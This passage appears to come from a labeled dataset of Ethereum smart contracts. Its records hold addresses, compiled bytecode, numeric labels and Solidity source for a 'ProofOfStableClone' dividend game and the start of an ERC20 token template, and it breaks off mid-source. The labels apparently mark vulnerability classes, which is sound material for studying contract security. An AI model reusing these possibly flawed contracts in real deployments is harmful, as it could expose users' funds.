0x608060405234801561001057600080fd5b50600436106100d45760003560e01c8063a287fdbd11610081578063d60a0fbb1161005b578063d60a0fbb146101b9578063d89784fc146101c1578063ea2347e6146101c9576100d4565b8063a287fdbd14610180578063c116954814610193578063c9b5ef8e146101a6576100d4565b80633b73d67f116100b25780633b73d67f1461012c57806360c0fdc01461014d5780639be65a601461016d576100d4565b80631094fa57146100d957806319ab453c146100f75780632d0335ab1461010c575b600080fd5b6100e16101de565b6040516100ee9190611dfc565b60405180910390f35b61010a610105366004611858565b6101ed565b005b61011f61011a366004611858565b6101f0565b6040516100ee9190612373565b61013f61013a3660046119ce565b61020f565b6040516100ee92919061237c565b61016061015b3660046119a3565b610233565b6040516100ee9190611f7f565b61010a61017b366004611858565b610264565b61016061018e366004611890565b6103c9565b6101606101a13660046118c8565b61046c565b61011f6101b4366004611858565b6107e5565b6100e16107f7565b6100e1610806565b6101d1610815565b6040516100ee9190611f19565b6003546001600160a01b031681565b50565b6001600160a01b0381166000908152600260205260409020545b919050565b60008060405162461bcd60e51b815260040161022a90612014565b60405180910390fd5b6001600160a01b038216600090815260026020908152604080832084845260010190915290205460ff165b92915050565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526000906001600160a01b038316906370a08231906102ac903090600401611dfc565b60206040518083038186803b1580156102c457600080fd5b505afa1580156102d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fc9190611c63565b6001546040519192506001600160a01b038085169263a9059cbb60e01b9261032a9216908590602401611f00565b60408051601f198184030181529181526020820180516001600160e01b03167fffffffff000000000000000000000000000000000000000000000000000000009094169390931790925290516103809190611daf565b6000604051808303816000865af19150503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b5050505050565b6001546040517f5a51fd430000000000000000000000000000000000000000000000000000000081526000916001600160a01b031690635a51fd43906104159086908690600401611e10565b60206040518083038186803b15801561042d57600080fd5b505afa158015610441573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104659190611acc565b9392505050565b6000805a9050848110156104925760405162461bcd60e51b815260040161022a906122ce565b61049d8d8c8c61081a565b6104b95760405162461bcd60e51b815260040161022a906120b9565b6104c38d8d6103c9565b6104df5760405162461bcd60e51b815260040161022a90612195565b6104e7611785565b8c6001600160a01b0316633b73d67f8f8e8e6040518463ffffffff1660e01b815260040161051793929190611e88565b604080518083038186803b15801561052e57600080fd5b505afa158015610542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105669190611c7b565b826020810182600381111561057757fe5b600381111561058257fe5b9052919091525080511515806105a757506000816020015160038111156105a557fe5b145b6105c35760405162461bcd60e51b815260040161022a9061233c565b805160410288146105e65760405162461bcd60e51b815260040161022a90612305565b61063c308e60008f8f8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050508e8c8c8c8c610872565b81604001818152505061065e8e8b83604001518460000151856020015161090d565b61067a5760405162461bcd60e51b815260040161022a90612260565b6106c38e82604001518b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506020850151610a10565b6106df5760405162461bcd60e51b815260040161022a90612297565b8c6001600160a01b03168c8c6040516106f9929190611d9f565b6000604051808303816000865af19150503d8060008114610736576040519150601f19603f3d011682016040523d82523d6000602084013e61073b565b606091505b506080830152151560608201528615801590610766575060018160200151600381111561076457fe5b145b1561077e5761077e8e83898989898760000151610bda565b806060015115158e6001600160a01b03167f7da4525a280527268ba2e963ee6c1b18f43c9507bcb1d2560f652ab17c76e90a836080015184604001516040516107c8929190611fa8565b60405180910390a3606001519d9c50505050505050505050505050565b60026020526000908152604090205481565b6004546001600160a01b031681565b6005546001600160a01b031681565b606090565b6000602482101561083d5760405162461bcd60e51b815260040161022a90612229565b600061084c83600481876123c1565b8101906108599190611858565b6001600160a01b03908116908616149150509392505050565b60007f1900000000000000000000000000000000000000000000000000000000000000818b8b8b8b6108a2610e0b565b8c8c8c8c8c6040516020016108c29c9b9a99989796959493929190611ce4565b604051602081830303815290604052805190602001206040516020016108e89190611dcb565b6040516020818303038152906040528051906020012090509998505050505050505050565b600082600114801561092a5750600182600381111561092857fe5b145b15610995576001600160a01b038616600090815260026020526040902054851161095657506000610a07565b608085901c4361271001811115610971576000915050610a07565b50506001600160a01b03851660009081526002602052604090208490556001610a07565b6001600160a01b038616600090815260026020908152604080832087845260019081019092529091205460ff16151514156109d257506000610a07565b506001600160a01b03851660009081526002602090815260408083208684526001908101909252909120805460ff1916821790555b95945050505050565b6000825160001415610a2457506001610bd2565b600060606001846003811115610a3657fe5b141580610a44575060418551115b15610ae9576005546040517ff18858ab0000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063f18858ab90610a92908a90600401611dfc565b60006040518083038186803b158015610aaa57600080fd5b505afa158015610abe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ae69190810190611a21565b90505b6000805b6041875181610af857fe5b04811015610bc9576000610b0d898984610e0f565b905081610b74576001876003811115610b2257fe5b1415610b4b57610b328a82610ecf565b15610b3d5750610bc1565b600095505050505050610bd2565b6002876003811115610b5957fe5b1415610b7457610b698a82610ecf565b15610b745750610bc1565b846001600160a01b0316816001600160a01b031611610b9b57600095505050505050610bd2565b809450610ba88482610f5d565b9450925082610bbf57600095505050505050610bd2565b505b600101610aed565b50600193505050505b949350505050565b60006001600160a01b03831615610bf15782610bf3565b335b905060006001831115610c37576000610c19617530610c135a8c906110db565b9061111d565b9050610c2f88610c29838a611142565b90611159565b915050610ce0565b6000610c4a619c40610c135a8c906110db565b9050610c5a88610c29838a611142565b915060006001600160a01b03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610c9e57600454610c99906001600160a01b03168489611193565b610ca0565b825b600354600154919250610cc1916001600160a01b0391821691168d84611255565b610cdd5760405162461bcd60e51b815260040161022a90612127565b50505b6001600160a01b03851673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d2657610d2089838360405180602001604052806000815250611452565b50610db3565b60608282604051602401610d3b929190611f00565b60408051601f198184030181529190526020810180516001600160e01b031663a9059cbb60e01b17905290506060610d768b88600085611452565b805190915015610db05780806020019051810190610d949190611acc565b610db05760405162461bcd60e51b815260040161022a906120f0565b50505b816001600160a01b0316896001600160a01b03167f22edd2bbb0b0afbdcf90d91da8a5e2100f8d8f67cdc766dee1742e9a36d6add38784604051610df8929190611f00565b60405180910390a3505050505050505050565b4690565b6041808202830160208101516040820151919092015160009260ff9190911691601b831480610e4157508260ff16601c145b610e4a57600080fd5b600060018885858560405160008152602001604052604051610e6f9493929190611f8a565b6020604051602081039080840390855afa158015610e91573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ec45760405162461bcd60e51b815260040161022a9061204b565b979650505050505050565b6000816001600160a01b0316836001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1457600080fd5b505afa158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c9190611874565b6001600160a01b0316149392505050565b60006060835160001480610f7857506001600160a01b038316155b15610f88575060009050826110d4565b60006060600186510367ffffffffffffffff81118015610fa757600080fd5b50604051908082528060200260200182016040528015610fd1578160200160208202803683370190505b5090506000805b87518110156110ba578361106a57878181518110610ff257fe5b60200260200101516001600160a01b0316876001600160a01b0316141561101c57600193506110b2565b61103888828151811061102b57fe5b60200260200101516114f8565b801561105c575061105c88828151811061104e57fe5b602002602001015188611504565b1561106a57600193506110b2565b82518210156110b25787818151811061107f57fe5b602002602001015183838151811061109357fe5b6001600160a01b03909216602092830291909101909101526001909101905b600101610fd8565b50826110c8576000876110cc565b6001825b945094505050505b9250929050565b600061046583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156a565b6000828201838110156104655760405162461bcd60e51b815260040161022a90612082565b60008183101561115357508161025e565b50919050565b6000826111685750600061025e565b8282028284828161117557fe5b04146104655760405162461bcd60e51b815260040161022a906121cc565b600080846001600160a01b031663d02641a0846040518263ffffffff1660e01b81526004016111c29190611dfc565b60206040518083038186803b1580156111da57600080fd5b505afa1580156111ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112129190611c2c565b76ffffffffffffffffffffffffffffffffffffffffffffff169050600061124b670de0b6b3a76400006112458488611159565b90611596565b9695505050505050565b600061125f6117b3565b6112676117d3565b6040517f13565b2c0000000000000000000000000000000000000000000000000000000081526001600160a01b038816906313565b2c906112ac908890600401611dfc565b60a06040518083038186803b1580156112c457600080fd5b505afa1580156112d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fc9190611b78565b91509150600061130b836115d8565b905084158061132057506001600160801b0381145b156113315760019350505050610bd2565b6113396117d3565b42836020015167ffffffffffffffff16111580156113575750818611155b156113b35760405180604001604052806113708861162b565b6001600160801b0316815260200161138c426201518001611661565b67ffffffffffffffff16905290506113a6888a898461168b565b6001945050505050610bd2565b42836020015167ffffffffffffffff161180156113e65750825182906113e39088906001600160801b031661111d565b11155b1561144357604051806040016040528061141e61141986600001516001600160801b03168a61111d90919063ffffffff16565b61162b565b6001600160801b0316815260200161138c856020015167ffffffffffffffff16611661565b50600098975050505050505050565b6001546040517f915c77b90000000000000000000000000000000000000000000000000000000081526060916001600160a01b03169063915c77b9906114a2908890889088908890600401611e56565b600060405180830381600087803b1580156114bc57600080fd5b505af11580156114d0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a079190810190611aec565b3b63ffffffff16151590565b6040517f8da5cb5b36e7f68c1d2e56001220cdbdd3ba2616072f718acfda4a06441a807d808252600091829190602081818189611388fa600181141561154957815193505b5050836001600160a01b0316826001600160a01b0316149250505092915050565b6000818484111561158e5760405162461bcd60e51b815260040161022a9190611fca565b505050900390565b600061046583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174e565b600080826040015167ffffffffffffffff16118015611604575042826040015167ffffffffffffffff16105b1561161d575060208101516001600160801b031661020a565b50516001600160801b031690565b6000700100000000000000000000000000000000821061165d5760405162461bcd60e51b815260040161022a90611fdd565b5090565b600068010000000000000000821061165d5760405162461bcd60e51b815260040161022a9061215e565b836001600160a01b031663e452b7908385635ae5bc5260e01b86866040516024016116b7929190611ec7565b60408051601f198184030181529181526020820180516001600160e01b03167fffffffff000000000000000000000000000000000000000000000000000000009485161790525160e086901b9092168252611716939291600401611e2a565b600060405180830381600087803b15801561173057600080fd5b505af1158015611744573d6000803e3d6000fd5b5050505050505050565b6000818361176f5760405162461bcd60e51b815260040161022a9190611fca565b50600083858161177b57fe5b0495945050505050565b6040805160a08101909152600080825260208201908152600060208201819052604082015260609081015290565b604080516060810182526000808252602082018190529181019190915290565b604080518082019091526000808252602082015290565b803561025e81612419565b805161025e81612419565b60008083601f840112611811578182fd5b50813567ffffffffffffffff811115611828578182fd5b6020830191508360208285010111156110d457600080fd5b805167ffffffffffffffff8116811461025e57600080fd5b600060208284031215611869578081fd5b813561046581612419565b600060208284031215611885578081fd5b815161046581612419565b600080604083850312156118a2578081fd5b82356118ad81612419565b915060208301356118bd81612419565b809150509250929050565b60008060008060008060008060008060006101208c8e0312156118e9578687fd5b6118f38c35612419565b8b359a5061190460208d0135612419565b60208c0135995067ffffffffffffffff8060408e01351115611924578788fd5b6119348e60408f01358f01611800565b909a50985060608d0135975060808d0135811015611950578687fd5b506119618d60808e01358e01611800565b909650945060a08c0135935060c08c013592506119818d60e08e016117ea565b91506119918d6101008e016117ea565b90509295989b509295989b9093969950565b600080604083850312156119b5578182fd5b82356119c081612419565b946020939093013593505050565b6000806000604084860312156119e2578283fd5b83356119ed81612419565b9250602084013567ffffffffffffffff811115611a08578283fd5b611a1486828701611800565b9497909650939450505050565b60006020808385031215611a33578182fd5b825167ffffffffffffffff80821115611a4a578384fd5b818501915085601f830112611a5d578384fd5b815181811115611a6b578485fd5b8381029150611a7b84830161239a565b8181528481019084860184860187018a1015611a95578788fd5b8795505b83861015611abf57611aab8a826117f5565b835260019590950194918601918601611a99565b5098975050505050505050565b600060208284031215611add578081fd5b81518015158114610465578182fd5b600060208284031215611afd578081fd5b815167ffffffffffffffff80821115611b14578283fd5b818401915084601f830112611b27578283fd5b815181811115611b35578384fd5b611b48601f8201601f191660200161239a565b9150808252856020828501011115611b5e578384fd5b611b6f8160208401602086016123e9565b50949350505050565b60008082840360a0811215611b8b578283fd5b6060811215611b98578283fd5b611ba2606061239a565b8451611bad8161242e565b81526020850151611bbd8161242e565b6020820152611bcf8660408701611840565b6040820152809350506040605f1982011215611be9578182fd5b50611bf4604061239a565b60608401516001600160801b0381168114611c0d578283fd5b8152611c1c8560808601611840565b6020820152809150509250929050565b600060208284031215611c3d578081fd5b815176ffffffffffffffffffffffffffffffffffffffffffffff81168114610465578182fd5b600060208284031215611c74578081fd5b5051919050565b60008060408385031215611c8d578182fd5b825191506020830151600481106118bd578182fd5b60601b6bffffffffffffffffffffffff19169052565b60008151808452611cd08160208601602086016123e9565b601f01601f19169290920160200192915050565b60007fff00000000000000000000000000000000000000000000000000000000000000808f168352808e166001840152506bffffffffffffffffffffffff19808d60601b166002840152808c60601b1660168401525089602a8301528851611d5381604a850160208d016123e9565b808301905088604a82015287606a82015286608a8201528560aa820152611d7d60ca820186611ca2565b611d8a60de820185611ca2565b60f2019e9d5050505050505050505050505050565b6000828483379101908152919050565b60008251611dc18184602087016123e9565b9190910192915050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b60006001600160a01b03808616835280851660208401525060606040830152610a076060830184611cb8565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261124b6080830184611cb8565b60006001600160a01b03851682526040602083015282604083015282846060840137818301606090810191909152601f909201601f1916010192915050565b6001600160a01b0392909216825280516001600160801b0316602080840191909152015167ffffffffffffffff16604082015260600190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015611f735783517fffffffff000000000000000000000000000000000000000000000000000000001683529284019291840191600101611f35565b50909695505050505050565b901515815260200190565b93845260ff9290921660208401526040830152606082015260800190565b600060408252611fbb6040830185611cb8565b90508260208301529392505050565b6000602082526104656020830184611cb8565b60208082526016908201527f4c553a206d6f7265207468656e20313238206269747300000000000000000000604082015260600190565b60208082526013908201527f42463a2064697361626c6564206d6574686f6400000000000000000000000000604082015260600190565b6020808252601b908201527f5574696c733a2065637265636f7665722072657475726e656420300000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601e908201527f524d3a20546172676574206f66205f6461746120213d205f77616c6c65740000604082015260600190565b6020808252601a908201527f524d3a20526566756e64207472616e73666572206661696c6564000000000000604082015260600190565b6020808252601f908201527f524d3a20726566756e642069732061626f7665206461696c79206c696d697400604082015260600190565b60208082526015908201527f4c553a206d6f7265207468656e20363420626974730000000000000000000000604082015260600190565b6020808252601a908201527f524d3a2066656174757265206e6f7420617574686f7269736564000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526016908201527f524d3a20496e76616c6964206461746157616c6c657400000000000000000000604082015260600190565b60208082526015908201527f524d3a204475706c696361746520726571756573740000000000000000000000604082015260600190565b60208082526016908201527f524d3a20496e76616c6964207369676e61747572657300000000000000000000604082015260600190565b6020808252601b908201527f524d3a206e6f7420656e6f756768206761732070726f76696465640000000000604082015260600190565b6020808252601e908201527f524d3a2057726f6e67206e756d626572206f66207369676e6174757265730000604082015260600190565b6020808252601f908201527f524d3a2057726f6e67207369676e617475726520726571756972656d656e7400604082015260600190565b90815260200190565b828152604081016004831061238d57fe5b8260208301529392505050565b60405181810167ffffffffffffffff811182821017156123b957600080fd5b604052919050565b600080858511156123d0578182fd5b838611156123dc578182fd5b5050820193919092039150565b60005b838110156124045781810151838201526020016123ec565b83811115612413576000848401525b50505050565b6001600160a01b03811681146101ed57600080fd5b6001600160801b03811681146101ed57600080fdfea26469706673582212205f758326b068a7d5ecf1ba91a6f68325e0701e8870f4e7faeaa9091bcae7d9b364736f6c634300060c0033
[ 8, 12 ]
0xf2ffc2ab9b0aea831c2115918691b1180a79af94
pragma solidity ^0.4.21; contract ProofOfStableClone { using SafeMath for uint256; event Deposit(address user, uint amount); event Withdraw(address user, uint amount); event Claim(address user, uint dividends); event Reinvest(address user, uint dividends); bool gameStarted; uint constant depositTaxDivisor = 4; uint constant withdrawalTaxDivisor = 11; mapping(address => uint) public investment; mapping(bytes32 => bool) public administrators; mapping(address => uint) public stake; uint public totalStake; uint stakeValue; mapping(address => uint) dividendCredit; mapping(address => uint) dividendDebit; function ProofOfStableClone() public { administrators[0x57c3715aa156394ff48706c09792523c63653d2a90bd4b8c36ba1a99bfbd5a43] = true; } modifier onlyAdmin(){ address _customerAddress = msg.sender; require(administrators[keccak256(_customerAddress)]); _; } function startGame() public onlyAdmin { gameStarted = true; } function depositHelper(uint _amount) private { uint _tax = _amount.div(depositTaxDivisor); uint _amountAfterTax = _amount.sub(_tax); if (totalStake > 0) stakeValue = stakeValue.add(_tax.div(totalStake)); uint _stakeIncrement = sqrt(totalStake.mul(totalStake).add(_amountAfterTax)).sub(totalStake); investment[msg.sender] = investment[msg.sender].add(_amountAfterTax); stake[msg.sender] = stake[msg.sender].add(_stakeIncrement); totalStake = totalStake.add(_stakeIncrement); dividendDebit[msg.sender] = dividendDebit[msg.sender].add(_stakeIncrement.mul(stakeValue)); } function deposit() public payable { require(gameStarted); depositHelper(msg.value); emit Deposit(msg.sender, msg.value); } function withdraw(uint _amount) public { require(_amount > 0); require(_amount <= investment[msg.sender]); uint _tax = _amount.div(withdrawalTaxDivisor); uint _amountAfterTax = _amount.sub(_tax); uint _stakeDecrement = stake[msg.sender].mul(_amount).div(investment[msg.sender]); uint _dividendCredit = _stakeDecrement.mul(stakeValue); investment[msg.sender] = investment[msg.sender].sub(_amount); stake[msg.sender] = stake[msg.sender].sub(_stakeDecrement); totalStake = totalStake.sub(_stakeDecrement); if (totalStake > 0) stakeValue = stakeValue.add(_tax.div(totalStake)); dividendCredit[msg.sender] = dividendCredit[msg.sender].add(_dividendCredit); uint _creditDebitCancellation = min(dividendCredit[msg.sender], dividendDebit[msg.sender]); dividendCredit[msg.sender] = dividendCredit[msg.sender].sub(_creditDebitCancellation); dividendDebit[msg.sender] = dividendDebit[msg.sender].sub(_creditDebitCancellation); msg.sender.transfer(_amountAfterTax); emit Withdraw(msg.sender, _amount); } function claimHelper() private returns(uint) { uint _dividendsForStake = stake[msg.sender].mul(stakeValue); uint _dividends = _dividendsForStake.add(dividendCredit[msg.sender]).sub(dividendDebit[msg.sender]); dividendCredit[msg.sender] = 0; dividendDebit[msg.sender] = _dividendsForStake; return _dividends; } function claim() public { uint _dividends = claimHelper(); msg.sender.transfer(_dividends); emit Claim(msg.sender, _dividends); } function reinvest() public { uint _dividends = claimHelper(); depositHelper(_dividends); emit Reinvest(msg.sender, _dividends); } function dividendsForUser(address _user) public view returns (uint) { return stake[_user].mul(stakeValue).add(dividendCredit[_user]).sub(dividendDebit[_user]); } function min(uint x, uint y) private pure returns (uint) { return x <= y ? x : y; } function sqrt(uint x) private pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630bd18d7a146100a957806326476204146100f65780632e1a7d4d14610143578063392efb52146101665780634e71d92d146101a557806386be3981146101ba5780638b0e9f3f14610207578063d0e30db014610230578063d65ab5f21461023a578063fdb5a03e1461024f575b600080fd5b34156100b457600080fd5b6100e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610264565b6040518082815260200191505060405180910390f35b341561010157600080fd5b61012d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061027c565b6040518082815260200191505060405180910390f35b341561014e57600080fd5b6101646004808035906020019091905050610294565b005b341561017157600080fd5b61018b60048080356000191690602001909190505061085b565b604051808215151515815260200191505060405180910390f35b34156101b057600080fd5b6101b861087b565b005b34156101c557600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610935565b6040518082815260200191505060405180910390f35b341561021257600080fd5b61021a610a34565b6040518082815260200191505060405180910390f35b610238610a3a565b005b341561024557600080fd5b61024d610aca565b005b341561025a57600080fd5b610262610b70565b005b60016020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b600080600080600080861115156102aa57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486111515156102f857600080fd5b61030c600b87610bf390919063ffffffff16565b94506103218587610c0990919063ffffffff16565b93506103c6600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b888600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2290919063ffffffff16565b610bf390919063ffffffff16565b92506103dd60055484610c2290919063ffffffff16565b915061043186600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104c683600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0990919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061051e83600454610c0990919063ffffffff16565b6004819055506000600454111561055f5761055861054760045487610bf390919063ffffffff16565b600554610c5d90919063ffffffff16565b6005819055505b6105b182600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061067c600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7b565b90506106d081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061076581600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015156107e857600080fd5b7f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243643387604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b6000610885610c95565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108c757600080fd5b7f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d43382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000610a2d600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a1f600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a11600554600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2290919063ffffffff16565b610c5d90919063ffffffff16565b610c0990919063ffffffff16565b9050919050565b60045481565b6000809054906101000a900460ff161515610a5457600080fd5b610a5d34610e26565b7fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b60003390506002600082604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206000191660001916815260200190815260200160002060009054906101000a900460ff161515610b5357600080fd5b60016000806101000a81548160ff02191690831515021790555050565b6000610b7a610c95565b9050610b8581610e26565b7fbd654390d0d973e8c8376ed6053be8658870df892687852cc5c914d700291b873382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60008183811515610c0057fe5b04905092915050565b6000828211151515610c1757fe5b818303905092915050565b6000806000841415610c375760009150610c56565b8284029050828482811515610c4857fe5b04141515610c5257fe5b8091505b5092915050565b6000808284019050838110151515610c7157fe5b8091505092915050565b600081831115610c8b5781610c8d565b825b905092915050565b6000806000610cee600554600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c2290919063ffffffff16565b9150610d93600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d85600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610c5d90919063ffffffff16565b610c0990919063ffffffff16565b90506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550809250505090565b6000806000610e3f600485610bf390919063ffffffff16565b9250610e548385610c0990919063ffffffff16565b915060006004541115610e9157610e8a610e7960045485610bf390919063ffffffff16565b600554610c5d90919063ffffffff16565b6005819055505b610ed6600454610ec8610ec385610eb5600454600454610c2290919063ffffffff16565b610c5d90919063ffffffff16565b6110cc565b610c0990919063ffffffff16565b9050610f2a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fbf81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101781600454610c5d90919063ffffffff16565b60048190555061108361103560055483610c2290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5d90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000806002600184018115156110de57fe5b0490508291505b818110156111115780915060028182858115156110fe57fe5b040181151561110957fe5b0490506110e5565b509190505600a165627a7a72305820f55d63bdd9283057f3001e0cd1bbf5197e93a566271c4556526ea0458b325ffe0029
[ 4 ]
0xf300508397128566fd19ccd9e0fc8f2d56f5872b
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'HopiumToken' token contract // // Deployed to : 0x9872139a96bEC17409656De5CbE53e33eaD93f35 // Symbol : HOPI // Name : HOPIUMTOKEN // Total supply: 50000000000000000000000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function 